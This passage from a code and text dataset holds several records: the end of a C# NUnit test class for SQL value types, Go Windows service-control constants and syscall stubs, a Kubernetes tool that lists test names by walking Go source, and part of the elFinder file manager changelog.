DateTimeOffsetNullReturnsExpectedInstance()\n {\n Assert.That(Sql.DateTimeOffset(null), Is.EqualTo(TSqlDateTimeOffsetNullValue.Instance));\n }\n\n [Test]\n public void MoneyReturnsExpectedInstance()\n {\n Assert.That(Sql.Money(123.45M), Is.EqualTo(new TSqlMoneyValue(123.45M)));\n }\n\n [Test]\n public void MoneyNullReturnsExpectedInstance()\n {\n Assert.That(Sql.Money(null), Is.EqualTo(TSqlMoneyNullValue.Instance));\n }\n\n [Test]\n public void DecimalWithoutPrecisionNorScaleReturnsExpectedInstance()\n {\n var value = 5;\n Assert.That(Sql.Decimal(value), Is.EqualTo(new TSqlDecimalValue(value, 18, 0)));\n }\n\n [Test]\n public void DecimalWithoutScaleReturnsExpectedInstance()\n {\n var value = 5;\n Assert.That(Sql.Decimal(value, TSqlDecimalPrecision.Max), Is.EqualTo(new TSqlDecimalValue(value, TSqlDecimalPrecision.Max, TSqlDecimalScale.Default)));\n }\n\n [Test]\n public void DecimalReturnsExpectedInstance()\n {\n var value = 5;\n Assert.That(Sql.Decimal(value, 3, 1), Is.EqualTo(new TSqlDecimalValue(value, 3, 1)));\n }\n\n [Test]\n public void DecimalNullReturnsExpectedInstance()\n {\n Assert.That(Sql.Decimal(null, 3, 1), Is.EqualTo(new TSqlDecimalNullValue(3, 1)));\n }\n\n [Test]\n public void DecimalNullWithoutScaleReturnsExpectedInstance()\n {\n Assert.That(Sql.Decimal(null, TSqlDecimalPrecision.Max), Is.EqualTo(new TSqlDecimalNullValue(TSqlDecimalPrecision.Max, TSqlDecimalScale.Default)));\n }\n\n [Test]\n public void DecimalNullWithoutPrecisionNorScaleReturnsExpectedInstance()\n {\n Assert.That(Sql.Decimal(null), Is.EqualTo(new TSqlDecimalNullValue(TSqlDecimalPrecision.Default, TSqlDecimalScale.Default)));\n }\n }\n}\n"} +{"text": "\n\n\n\n \n \n"} +{"text": "// Copyright 2012 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// +build windows\n\npackage windows\n\nconst (\n\tSC_MANAGER_CONNECT = 1\n\tSC_MANAGER_CREATE_SERVICE = 2\n\tSC_MANAGER_ENUMERATE_SERVICE = 4\n\tSC_MANAGER_LOCK = 8\n\tSC_MANAGER_QUERY_LOCK_STATUS = 16\n\tSC_MANAGER_MODIFY_BOOT_CONFIG = 32\n\tSC_MANAGER_ALL_ACCESS = 0xf003f\n)\n\n//sys\tOpenSCManager(machineName *uint16, databaseName *uint16, access uint32) (handle Handle, err error) [failretval==0] = advapi32.OpenSCManagerW\n\nconst (\n\tSERVICE_KERNEL_DRIVER = 1\n\tSERVICE_FILE_SYSTEM_DRIVER = 2\n\tSERVICE_ADAPTER = 4\n\tSERVICE_RECOGNIZER_DRIVER = 8\n\tSERVICE_WIN32_OWN_PROCESS = 16\n\tSERVICE_WIN32_SHARE_PROCESS = 32\n\tSERVICE_WIN32 = SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS\n\tSERVICE_INTERACTIVE_PROCESS = 256\n\tSERVICE_DRIVER = SERVICE_KERNEL_DRIVER | SERVICE_FILE_SYSTEM_DRIVER | SERVICE_RECOGNIZER_DRIVER\n\tSERVICE_TYPE_ALL = SERVICE_WIN32 | SERVICE_ADAPTER | SERVICE_DRIVER | SERVICE_INTERACTIVE_PROCESS\n\n\tSERVICE_BOOT_START = 0\n\tSERVICE_SYSTEM_START = 1\n\tSERVICE_AUTO_START = 2\n\tSERVICE_DEMAND_START = 3\n\tSERVICE_DISABLED = 4\n\n\tSERVICE_ERROR_IGNORE = 0\n\tSERVICE_ERROR_NORMAL = 1\n\tSERVICE_ERROR_SEVERE = 2\n\tSERVICE_ERROR_CRITICAL = 3\n\n\tSC_STATUS_PROCESS_INFO = 0\n\n\tSC_ACTION_NONE = 0\n\tSC_ACTION_RESTART = 1\n\tSC_ACTION_REBOOT = 2\n\tSC_ACTION_RUN_COMMAND = 3\n\n\tSERVICE_STOPPED = 1\n\tSERVICE_START_PENDING = 2\n\tSERVICE_STOP_PENDING = 3\n\tSERVICE_RUNNING = 4\n\tSERVICE_CONTINUE_PENDING = 5\n\tSERVICE_PAUSE_PENDING = 6\n\tSERVICE_PAUSED = 7\n\tSERVICE_NO_CHANGE = 0xffffffff\n\n\tSERVICE_ACCEPT_STOP = 1\n\tSERVICE_ACCEPT_PAUSE_CONTINUE = 2\n\tSERVICE_ACCEPT_SHUTDOWN = 4\n\tSERVICE_ACCEPT_PARAMCHANGE = 8\n\tSERVICE_ACCEPT_NETBINDCHANGE = 16\n\tSERVICE_ACCEPT_HARDWAREPROFILECHANGE = 32\n\tSERVICE_ACCEPT_POWEREVENT = 64\n\tSERVICE_ACCEPT_SESSIONCHANGE = 128\n\n\tSERVICE_CONTROL_STOP = 1\n\tSERVICE_CONTROL_PAUSE = 2\n\tSERVICE_CONTROL_CONTINUE = 3\n\tSERVICE_CONTROL_INTERROGATE = 4\n\tSERVICE_CONTROL_SHUTDOWN = 5\n\tSERVICE_CONTROL_PARAMCHANGE = 6\n\tSERVICE_CONTROL_NETBINDADD = 7\n\tSERVICE_CONTROL_NETBINDREMOVE = 8\n\tSERVICE_CONTROL_NETBINDENABLE = 9\n\tSERVICE_CONTROL_NETBINDDISABLE = 10\n\tSERVICE_CONTROL_DEVICEEVENT = 11\n\tSERVICE_CONTROL_HARDWAREPROFILECHANGE = 12\n\tSERVICE_CONTROL_POWEREVENT = 13\n\tSERVICE_CONTROL_SESSIONCHANGE = 14\n\n\tSERVICE_ACTIVE = 1\n\tSERVICE_INACTIVE = 2\n\tSERVICE_STATE_ALL = 3\n\n\tSERVICE_QUERY_CONFIG = 1\n\tSERVICE_CHANGE_CONFIG = 2\n\tSERVICE_QUERY_STATUS = 4\n\tSERVICE_ENUMERATE_DEPENDENTS = 8\n\tSERVICE_START = 16\n\tSERVICE_STOP = 32\n\tSERVICE_PAUSE_CONTINUE = 64\n\tSERVICE_INTERROGATE = 128\n\tSERVICE_USER_DEFINED_CONTROL = 256\n\tSERVICE_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SERVICE_QUERY_CONFIG | SERVICE_CHANGE_CONFIG | SERVICE_QUERY_STATUS | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_START | SERVICE_STOP | SERVICE_PAUSE_CONTINUE | SERVICE_INTERROGATE | SERVICE_USER_DEFINED_CONTROL\n\tSERVICE_RUNS_IN_SYSTEM_PROCESS = 1\n\tSERVICE_CONFIG_DESCRIPTION = 1\n\tSERVICE_CONFIG_FAILURE_ACTIONS = 2\n\n\tSC_ENUM_PROCESS_INFO = 0\n)\n\ntype SERVICE_STATUS struct {\n\tServiceType uint32\n\tCurrentState uint32\n\tControlsAccepted uint32\n\tWin32ExitCode uint32\n\tServiceSpecificExitCode uint32\n\tCheckPoint uint32\n\tWaitHint uint32\n}\n\ntype SERVICE_TABLE_ENTRY struct {\n\tServiceName *uint16\n\tServiceProc uintptr\n}\n\ntype QUERY_SERVICE_CONFIG struct {\n\tServiceType uint32\n\tStartType uint32\n\tErrorControl uint32\n\tBinaryPathName *uint16\n\tLoadOrderGroup *uint16\n\tTagId uint32\n\tDependencies *uint16\n\tServiceStartName *uint16\n\tDisplayName *uint16\n}\n\ntype SERVICE_DESCRIPTION struct {\n\tDescription *uint16\n}\n\ntype SERVICE_STATUS_PROCESS struct {\n\tServiceType uint32\n\tCurrentState uint32\n\tControlsAccepted uint32\n\tWin32ExitCode uint32\n\tServiceSpecificExitCode uint32\n\tCheckPoint uint32\n\tWaitHint uint32\n\tProcessId uint32\n\tServiceFlags uint32\n}\n\ntype ENUM_SERVICE_STATUS_PROCESS struct {\n\tServiceName *uint16\n\tDisplayName *uint16\n\tServiceStatusProcess SERVICE_STATUS_PROCESS\n}\n\ntype SERVICE_FAILURE_ACTIONS struct {\n\tResetPeriod uint32\n\tRebootMsg *uint16\n\tCommand *uint16\n\tActionsCount uint32\n\tActions *SC_ACTION\n}\n\ntype SC_ACTION struct {\n\tType uint32\n\tDelay uint32\n}\n\n//sys\tCloseServiceHandle(handle Handle) (err error) = advapi32.CloseServiceHandle\n//sys\tCreateService(mgr Handle, serviceName *uint16, displayName *uint16, access uint32, srvType uint32, startType uint32, errCtl uint32, pathName *uint16, loadOrderGroup *uint16, tagId *uint32, dependencies *uint16, serviceStartName *uint16, password *uint16) (handle Handle, err error) [failretval==0] = advapi32.CreateServiceW\n//sys\tOpenService(mgr Handle, serviceName *uint16, access uint32) (handle Handle, err error) [failretval==0] = advapi32.OpenServiceW\n//sys\tDeleteService(service Handle) (err error) = advapi32.DeleteService\n//sys\tStartService(service Handle, numArgs uint32, argVectors **uint16) (err error) = advapi32.StartServiceW\n//sys\tQueryServiceStatus(service Handle, status *SERVICE_STATUS) (err error) = advapi32.QueryServiceStatus\n//sys\tControlService(service Handle, control uint32, status *SERVICE_STATUS) (err error) = advapi32.ControlService\n//sys\tStartServiceCtrlDispatcher(serviceTable *SERVICE_TABLE_ENTRY) (err error) = advapi32.StartServiceCtrlDispatcherW\n//sys\tSetServiceStatus(service Handle, serviceStatus *SERVICE_STATUS) (err error) = advapi32.SetServiceStatus\n//sys\tChangeServiceConfig(service Handle, serviceType uint32, startType uint32, errorControl uint32, binaryPathName *uint16, loadOrderGroup *uint16, tagId *uint32, dependencies *uint16, serviceStartName *uint16, password *uint16, displayName *uint16) (err error) = advapi32.ChangeServiceConfigW\n//sys\tQueryServiceConfig(service Handle, serviceConfig *QUERY_SERVICE_CONFIG, bufSize uint32, bytesNeeded *uint32) (err error) = advapi32.QueryServiceConfigW\n//sys\tChangeServiceConfig2(service Handle, infoLevel uint32, info *byte) (err error) = advapi32.ChangeServiceConfig2W\n//sys\tQueryServiceConfig2(service Handle, infoLevel uint32, buff *byte, buffSize uint32, bytesNeeded *uint32) (err error) = advapi32.QueryServiceConfig2W\n//sys\tEnumServicesStatusEx(mgr Handle, infoLevel uint32, serviceType uint32, serviceState uint32, services *byte, bufSize uint32, bytesNeeded *uint32, servicesReturned *uint32, resumeHandle *uint32, groupName *uint16) (err error) = advapi32.EnumServicesStatusExW\n//sys QueryServiceStatusEx(service Handle, infoLevel uint32, buff *byte, buffSize uint32, bytesNeeded *uint32) (err error) = advapi32.QueryServiceStatusEx\n"} +{"text": "/*\nCopyright 2016 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// list all unit and ginkgo test names that will be run\npackage main\n\nimport (\n\t\"encoding/json\"\n\t\"flag\"\n\t\"fmt\"\n\t\"go/ast\"\n\t\"go/parser\"\n\t\"go/token\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n)\n\nvar (\n\tdumpTree = flag.Bool(\"dump\", false, \"print AST\")\n\tdumpJson = flag.Bool(\"json\", false, \"output test list as JSON\")\n\twarn = flag.Bool(\"warn\", false, \"print warnings\")\n)\n\ntype Test struct {\n\tLoc string\n\tName string\n\tTestName string\n}\n\n// collect extracts test metadata from a file.\n// If src is nil, it reads filename for the code, otherwise it\n// uses src (which may be a string, byte[], or io.Reader).\nfunc collect(filename string, src interface{}) []Test {\n\t// Create the AST by parsing src.\n\tfset := token.NewFileSet() // positions are relative to fset\n\tf, err := parser.ParseFile(fset, filename, src, parser.ParseComments)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tif *dumpTree {\n\t\tast.Print(fset, f)\n\t}\n\n\ttests := make([]Test, 0)\n\n\tast.Walk(makeWalker(\"[k8s.io]\", fset, &tests), f)\n\n\t// Unit tests are much simpler to enumerate!\n\tif strings.HasSuffix(filename, \"_test.go\") {\n\t\tpackageName := f.Name.Name\n\t\tdirName, _ := filepath.Split(filename)\n\t\tif filepath.Base(dirName) != packageName && *warn {\n\t\t\tlog.Printf(\"Warning: strange path/package mismatch %s %s\\n\", filename, packageName)\n\t\t}\n\t\ttestPath := \"k8s.io/kubernetes/\" + dirName[:len(dirName)-1]\n\t\tfor _, decl := range f.Decls {\n\t\t\tfuncdecl, ok := decl.(*ast.FuncDecl)\n\t\t\tif !ok {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tname := funcdecl.Name.Name\n\t\t\tif strings.HasPrefix(name, \"Test\") {\n\t\t\t\ttests = append(tests, Test{fset.Position(funcdecl.Pos()).String(), testPath, name})\n\t\t\t}\n\t\t}\n\t}\n\n\treturn tests\n}\n\n// funcName converts a selectorExpr with two idents into a string,\n// x.y -> \"x.y\"\nfunc funcName(n ast.Expr) string {\n\tif sel, ok := n.(*ast.SelectorExpr); ok {\n\t\tif x, ok := sel.X.(*ast.Ident); ok {\n\t\t\treturn x.String() + \".\" + sel.Sel.String()\n\t\t}\n\t}\n\treturn \"\"\n}\n\n// isSprintf returns whether the given node is a call to fmt.Sprintf\nfunc isSprintf(n ast.Expr) bool {\n\tcall, ok := n.(*ast.CallExpr)\n\treturn ok && funcName(call.Fun) == \"fmt.Sprintf\" && len(call.Args) != 0\n}\n\ntype walker struct {\n\tpath string\n\tfset *token.FileSet\n\ttests *[]Test\n\tvals map[string]string\n}\n\nfunc makeWalker(path string, fset *token.FileSet, tests *[]Test) *walker {\n\treturn &walker{path, fset, tests, make(map[string]string)}\n}\n\n// clone creates a new walker with the given string extending the path.\nfunc (w *walker) clone(ext string) *walker {\n\treturn &walker{w.path + \" \" + ext, w.fset, w.tests, w.vals}\n}\n\n// firstArg attempts to statically determine the value of the first\n// argument. It only handles strings, and converts any unknown values\n// (fmt.Sprintf interpolations) into *.\nfunc (w *walker) firstArg(n *ast.CallExpr) string {\n\tif len(n.Args) == 0 {\n\t\treturn \"\"\n\t}\n\tvar lit *ast.BasicLit\n\tif isSprintf(n.Args[0]) {\n\t\treturn w.firstArg(n.Args[0].(*ast.CallExpr))\n\t}\n\tlit, ok := n.Args[0].(*ast.BasicLit)\n\tif ok && lit.Kind == token.STRING {\n\t\tv, err := strconv.Unquote(lit.Value)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tif strings.Contains(v, \"%\") {\n\t\t\tv = strings.Replace(v, \"%d\", \"*\", -1)\n\t\t\tv = strings.Replace(v, \"%v\", \"*\", -1)\n\t\t\tv = strings.Replace(v, \"%s\", \"*\", -1)\n\t\t}\n\t\treturn v\n\t}\n\tif ident, ok := n.Args[0].(*ast.Ident); ok {\n\t\tif val, ok := w.vals[ident.String()]; ok {\n\t\t\treturn val\n\t\t}\n\t}\n\tif *warn {\n\t\tlog.Printf(\"Warning: dynamic arg value: %v\\n\", w.fset.Position(n.Args[0].Pos()))\n\t}\n\treturn \"*\"\n}\n\n// describeName returns the first argument of a function if it's\n// a Ginkgo-relevant function (Describe/KubeDescribe/Context),\n// and the empty string otherwise.\nfunc (w *walker) describeName(n *ast.CallExpr) string {\n\tswitch x := n.Fun.(type) {\n\tcase *ast.SelectorExpr:\n\t\tif x.Sel.Name != \"KubeDescribe\" {\n\t\t\treturn \"\"\n\t\t}\n\tcase *ast.Ident:\n\t\tif x.Name != \"Describe\" && x.Name != \"Context\" {\n\t\t\treturn \"\"\n\t\t}\n\tdefault:\n\t\treturn \"\"\n\t}\n\treturn w.firstArg(n)\n}\n\n// itName returns the first argument if it's a call to It(), else \"\".\nfunc (w *walker) itName(n *ast.CallExpr) string {\n\tif fun, ok := n.Fun.(*ast.Ident); ok && fun.Name == \"It\" {\n\t\treturn w.firstArg(n)\n\t}\n\treturn \"\"\n}\n\n// Visit walks the AST, following Ginkgo context and collecting tests.\n// See the documentation for ast.Walk for more details.\nfunc (w *walker) Visit(n ast.Node) ast.Visitor {\n\tswitch x := n.(type) {\n\tcase *ast.CallExpr:\n\t\tname := w.describeName(x)\n\t\tif name != \"\" && len(x.Args) >= 2 {\n\t\t\t// If calling (Kube)Describe/Context, make a new\n\t\t\t// walker to recurse with the description added.\n\t\t\treturn w.clone(name)\n\t\t}\n\t\tname = w.itName(x)\n\t\tif name != \"\" {\n\t\t\t// We've found an It() call, the full test name\n\t\t\t// can be determined now.\n\t\t\tif w.path == \"[k8s.io]\" && *warn {\n\t\t\t\tlog.Printf(\"It without matching Describe: %s\\n\", w.fset.Position(n.Pos()))\n\t\t\t}\n\t\t\t*w.tests = append(*w.tests, Test{w.fset.Position(n.Pos()).String(), w.path, name})\n\t\t\treturn nil // Stop walking\n\t\t}\n\tcase *ast.AssignStmt:\n\t\t// Attempt to track literals that might be used as\n\t\t// arguments. This analysis is very unsound, and ignores\n\t\t// both scope and program flow, but is sufficient for\n\t\t// our minor use case.\n\t\tident, ok := x.Lhs[0].(*ast.Ident)\n\t\tif ok {\n\t\t\tif isSprintf(x.Rhs[0]) {\n\t\t\t\t// x := fmt.Sprintf(\"something\", args)\n\t\t\t\tw.vals[ident.String()] = w.firstArg(x.Rhs[0].(*ast.CallExpr))\n\t\t\t}\n\t\t\tif lit, ok := x.Rhs[0].(*ast.BasicLit); ok && lit.Kind == token.STRING {\n\t\t\t\t// x := \"a literal string\"\n\t\t\t\tv, err := strconv.Unquote(lit.Value)\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t\tw.vals[ident.String()] = v\n\t\t\t}\n\t\t}\n\t}\n\treturn w // Continue walking\n}\n\ntype testList struct {\n\ttests []Test\n}\n\n// handlePath walks the filesystem recursively, collecting tests\n// from files with paths *e2e*.go and *_test.go, ignoring third_party\n// and staging directories.\nfunc (t *testList) handlePath(path string, info os.FileInfo, err error) error {\n\tif err != nil {\n\t\treturn err\n\t}\n\tif strings.Contains(path, \"third_party\") ||\n\t\tstrings.Contains(path, \"staging\") ||\n\t\tstrings.Contains(path, \"_output\") {\n\t\treturn filepath.SkipDir\n\t}\n\tif strings.HasSuffix(path, \".go\") && strings.Contains(path, \"e2e\") ||\n\t\tstrings.HasSuffix(path, \"_test.go\") {\n\t\ttests := collect(path, nil)\n\t\tt.tests = append(t.tests, tests...)\n\t}\n\treturn nil\n}\n\nfunc main() {\n\tflag.Parse()\n\targs := flag.Args()\n\tif len(args) == 0 {\n\t\targs = append(args, \".\")\n\t}\n\ttests := testList{}\n\tfor _, arg := range args {\n\t\terr := filepath.Walk(arg, tests.handlePath)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Error walking: %v\", err)\n\t\t}\n\t}\n\tif *dumpJson {\n\t\tjson, err := json.Marshal(tests.tests)\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\tfmt.Println(string(json))\n\t} else {\n\t\tfor _, t := range tests.tests {\n\t\t\tfmt.Println(t)\n\t\t}\n\t}\n}\n"} +{"text": "2016-09-12 Naoki Sawada \n\n\t* elFinder (2.1.15):\n\t\t- [js:command] inheritable elFinder.command object rel. #1545\n\t\t- [VD:abstract] Fixed #1550 option `uiCmdMap` dose not work on 2.1.14\n\t\t- [VD:abstract] Fixed #1553 root stat not refresh when do chmod of root\n\t\t- [php:core] fix make netkey problem - support multiple array options\n\t\t- [js:core] Fixed #1554 can not unmount netvolume when done auto sync\n\t\t- [js:core] Fixed #1555 can not upload to unreadable folder\n\t\t- [php:core] parent dir sets to changed when upload, paste, rm, mkfile, mkdir etc\n\t\t- [js:core] Fixed #1560 to possible to apply sort mode in tree in navbar\n\t\t- [js:ui,cmd:fullscreen] Fixed #1563 add ui command \"fullscrren\"\n\t\t- [cmd:edit] Fixed #1561 add to fullscreen button\n\t\t- [js:core] Fixed #1562 sort with i18 name if exist\n\t\t- [js:options] ui option `commands` accepts \"*\" as all of commands\n\t\t- [VD:LocalFileSystem] Fixed #1565 dose not support volume option `searchTimeout`\n\t\t- [VD:FTP] Fixed #1571 cause infinite loop during auto-sync of the volume root\n\t\t- [php:core] Fixed #1572 unable to DnD upload the folder named \"0\"\n\t\t- [VD:abstract] Fixed #1575 can not rename \"0\" to \"00\", \"000\"...\n\t\t- [cmd:rename] Fixed #1573 input text stay in there at rename error in tree view\n\t\t- [ui:cwd] Fixed #1576 reset the column width may not applied to the header\n\t\t- [ui:conttextmenu] Fixed #1578 to the contextmenu draggable\n\t\t- [php,cmd:open] Fixed #1586 RFC7233 violation, add `commandsOptions.open.method`\n\t\t- [ui:navbar,cwd] Fixed #1590 auto scroll on HTML5 native dragging\n\t\t- [VD:Dropbox] Fixed #1596 correction of `basename`, `dirname` on the windows server\n\t\t- [cmd:upload] Fixed #1600 add target folder selector into upload dialog\n\t\t- [ui] Fixed #1609 toast notification on complete of upload/paste into any folder\n\t\t- [cmd:getfile] Fixed #1610 getFileCallback to supports the jQuery.Deferred\n\t\t- [cmd:rename] Fixed #1613 correction of error handling\n\t\t- [js:core] Fixed #1614 correction of upload mixed chunks and normal file\n\t\t- [ui:cwd] Fixed #1615 break the lazy rendering when it delete items\n\t\t- [ui:tree] Fixed #1617 other volumes cmds doesn't work when it disabled in cwd\n\t\t- [core] Fixed #1622 added an option `phash` to the volume roots for implement feature of volume group\n\t\t- [ui:toolbar] Fixed #1619 use fm.trigger('toolbarload') instead toolbar.tigger('load')\n\t\t- [js:options] Fixed #1624 add a new option `overwriteUploadConfirm`\n\t\t- [cmd:search] Fixed #1635 support parallel requests for multi volumes\n\t\t- [contextmenu] Fixed #1645 to enable the operation of the keyboard\n\t\t- [ui:cwd] Fixed #1646 selected targets by ctrl+shift are wrong\n\t\t- [ui:dialog] Fixed #1647 controlling tabstop by `elfinder-tabstop` css class name\n\t\t- And some minor bug fixes\n\n2016-07-25 Naoki Sawada \n\n\t* elFinder (2.1.14):\n\t\t- [js:core,VD:abstract] Fixed #1525 do MIME check before file upload\n\t\t- [API] Accept the root options data as an attribute `options` of the root stat\n\t\t- [ui:cwd] Fixed #1532 can not use the `_` in custom column name\n\t\t- [js:command] Fixed #1533 update the cmd status at `sync`\n\t\t- [core] Fixed #1012 support i18n folder name\n\t\t- [ui:cwd] Fixed #1544 jQuery backward compatibility (fix DnD problem)\n\t\t- [proxy:APIv1] Fixed #178 correction of command `paste`\n\t\t- And some minor bug fixes\n\n\n2016-07-11 Naoki Sawada \n\n\t* elFinder (2.1.13):\n\t\t- [ui:cwd] Fixed #1433 create a thumbnail of the video file with ffmpeg\n\t\t- [js:core] Fixed #1435 bug of getFileCallback on multi instances\n\t\t- [ui:cwd] Fixed #1440 bug that not become disabled on multi instance\n\t\t- [cmd:quicklook] Fixed #1441 hide the prev/next button on first/last item\n\t\t- [js:core] Fixed #1439 show window close confirm dialog while editing file\n\t\t- [ui:cwd] Fixed #1450 missing contextmenu on touch up on iOS devices\n\t\t- [js] Fixed #1455 duplicate registration of command change event\n\t\t- [ui:cwd] Fixed #1461 resizable table column width\n\t\t- [cmd:sort] Fixed #1464 to enable more sort options\n\t\t- [cmd:chmod] Fixed #1465 remove unnecessary `this` reference\n\t\t- [ui:toolbar,navbar] Fixed #1473 memorize state of open/close by swipe\n\t\t- [ui:cwd] Fixed #1475 make custom column sortable on list view\n\t\t- [cmd:quicklook] Fixed #1478 preview broken with old jQuery\n\t\t- [js:core] Fixed #1480 broken compatibility with protocol API v1\n\t\t- [cmd:opendir] Fixed #1481 broken in elFinder 2.1.12\n\t\t- [ui:cwd] Fixed #1479 can't be moved to the right edge at column sort\n\t\t- [ui:cwd] Fixed #1485 add an option of template placeholders replacement rules\n\t\t- [php:core] Fixed #1490 configurable root options of the network mounting volume\n\t\t- [js] Fixed #1491 jQuery 3.0 supports\n\t\t- [cmd:search] Fixed #1499 incremental search from current view items\n\t\t- [cmd;resize] Fixed #1498 img-edit dialog layout disordered when resizing window\n\t\t- [VD:abstract] Fixed #1505 configurable duplicate's suffix, unique numbe format\n\t\t- [VD:abstract] Fixed #1507 add a volume option `dirUrlOwn`\n\t\t- [VD:abstract] Fixed #1514 security vulnerability in the archive command\n\t\t- And some minor bug fixes\n\n\n2016-07-11 Naoki Sawada \n\n\t* elFinder (2.0.7):\n\t\t- [VD:abstract] Fixed #1514 security vulnerability in the archive command\n\n\n2016-05-30 Naoki Sawada \n\n\t* elFinder (2.1.12):\n\t\t- Fixed #1321 Not trim white spaces on editing the text file\n\t\t- Fixed #1320 Supported operation in the modal dialog\n\t\t- Correction of the context menu (Mobile devices, Right-to-Left Language etc.)\n\t\t- Correction of Quicklook (Supported 'video/quicktime', improvement of IFRAME, For Mobile devices etc)\n\t\t- Fixed #1272 Correct detection of timestamp on FTP volume\n\t\t- Fixed #1315 Implement function for `copyJoin` of the volume root option\n\t\t- Fixed #1344 Use self image as thumbnail when without `imgLib`\n\t\t- Fixed #1342 Bugfix of method `getFullPath` that was problems relative path can not be resolved\n\t\t- Added a volume root option `uploadMaxConn`\n\t\t\t- Maximum number of chunked upload connection. `-1` to disable chunked upload.\n\t\t- Changed default value of volume root option `tmbBgColor` to 'transparent'\n\t\t- Added a volume root option `bgColorFb`\n\t\t\t- Image rotate fallback background color (defalt: #ffffff). Uses this color if it can not specify to transparent.\n\t\t- Fixed #935 Supports `'convert'`(imagemagick) as `imgLib`\n\t\t- Fixed #1363 Bugfix of FTP connect from windows localhost to remote server\n\t\t- Fixed #1367 Bugfix of backward compatible to jQuery UI < 1.11\n\t\t- Mobile devices friendly\n\t\t\t- Swipe to navbar/toolbar show/hide on touch devices\n\t\t\t- Hide toolbar on mobile devices at initial view\n\t\t\t- A little bigger icons\n\t\t\t- Added item select checkboxes\n\t\t\t- Path breadcrumbs move to top of workzone when hide navbar\n\t\t\t- To enable resizing/cropping by touch events\n\t\t\t- UX enhancements\n\t\t- Fixed #1311 CWD list table with fixed fixed header\n\t\t- UI path apply text-ellipsis in each holder name\n\t\t- Fixed #1370 implemented function keep timestamp into LocalFileSystem volume driver\n\t\t- Added PHP error handler and removed all `@` error-control operator\n\t\t- Fixed #1391 take care 32bit system of chunked file uploading arg `cid`\n\t\t- Fixed #1393 Added PHP class auto loader\n\t\t- Fixed #1412 Enable auto scroll when navbar/cwd drag over\n\t\t- And some minor bug fixes\n\n\n2016-04-11 Naoki Sawada \n\n\t* elFinder (2.1.11):\n\t\t- Added Archive(zip|gzip|tar) quicklook preview plugin\n\t\t- DnD upload supports Microsoft Edge\n\t\t- Fixed problem which directory is not detected in the LocalFileSystem driver (Bug of 2.1.10)\n\t\t- And some minor bug fixes\n\n\n2016-04-02 Naoki Sawada \n\n\t* elFinder (2.1.10):\n\t\t- Fixed #1061, #1231 Supported controllable folder icons\n\t\t- Fixed #1240 LocalFileSystem search files it was still follow symlinks\n\t\t- Added new volume root option `searchExDirReg` for exclusion serach\n\t\t- Return file.url in result on file upload for 3rd party uploader\n\t\t- Supported elFinder API version 1\n\t\t- Added a new volume driver FlysystemGoogleDriveNetmount that based on flysystem-google-drive\n\t\t- Added a new connector plugin \"AutoRotate\"\n\t\t- And some minor bug fixes\n\n\n2016-03-11 Naoki Sawada \n\n\t* elFinder (2.1.9):\n\t\t- Fixed enbug of 2.1.6-2.1.7 PHP error undefind valiable/array to string conversion\n\t\t- The function to make thumbnail supports more image types when Imagick enabled\n\t\t- Correction of the problem that Archive / Extract function don't work well under some environment\n\t\t- Added a quicklook plugin that is the Google docs online viewer\n\t\t\t- Default is disabled. Set `commandsOptions.quicklook.googleDocsMimes` to enable this plugin.\n\t\t\t```javascript\n\t\t\tcommandsOptions : {\n\t\t\t\t// \"quicklook\" command options.\n\t\t\t\tquicklook : {\n\t\t\t\t\tautoplay : true,\n\t\t\t\t\tjplayer : 'extensions/jplayer',\n\t\t\t\t\t// MIME types to use Google Docs online viewer\n\t\t\t\t\t// Example array value\n\t\t\t\t\t// ['application/pdf', 'image/tiff', 'application/msword', 'application/vnd.ms-excel', 'application/vnd.ms-powerpoint', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet']\n\t\t\t\t\tgoogleDocsMimes : []\n\t\t\t\t}\n\t\t\t}\n\t\t\t```\n\t\t- And some minor bug fixes\n\n\n2016-03-07 Naoki Sawada \n\n\t* elFinder (2.1.8):\n\t\t- Added a new volume driver `MsSQL`\n\t\t- Fixed #1226 problem of sort by clicking on cloumn headers\n\t\t- Fixed #1229 bug of selection after sorting in list view\n\t\t- Replaceable session handling wrapper (elFinderSessionInterface)\n\t\t- Added Connector main config `defaultMimefile` ()\n\t\t- update mime.types\n\t\t- Added LocalFileSystem volume root config `followSymLinks` (defailt true)\n\t\t- And some minor bug fixes\n\n\n2016-02-21 Naoki Sawada \n\n\t* elFinder (2.1.7):\n\t\t- Added connector main options `commonTempPath` and `maxArcFilesSize`\n\t\t- Fixed #353 It can download files/folders as an archve file\n\t\t- Fixed #1195 Supported BMP in GD image resize\n\t\t- Became possible to cancellation while searching\n\t\t- Supported API protocol version 2.0 for the legacy connector\n\t\t- Fixed #1206 Configurable places(favorites) (https://github.com/Studio-42/elFinder/issues/1206)\n\t\t- Fixed #1211 Remove deprecated method jQueryUI.zIndex()\n\t\t- Supported jQueryUI 1.12.0\n\t\t- Fixed #1213 infinite loop in PHP connector\n\t\t- Cmd:mkdir to callable \"New Folder with Selected items\" as \"Into New Folder\"\n\t\t- Supported nao-pon/flysystem-google-drive with barryvdh/elfinder-flysystem-driver\n\t\t\t- barryvdh/elfinder-flysystem-driver (https://github.com/barryvdh/elfinder-flysystem-driver)\n\t\t\t- nao-pon/flysystem-google-drive (https://github.com/nao-pon/flysystem-google-drive)\n\t\t- UX improvement of in Touch devices\n\t\t- And some minor bug 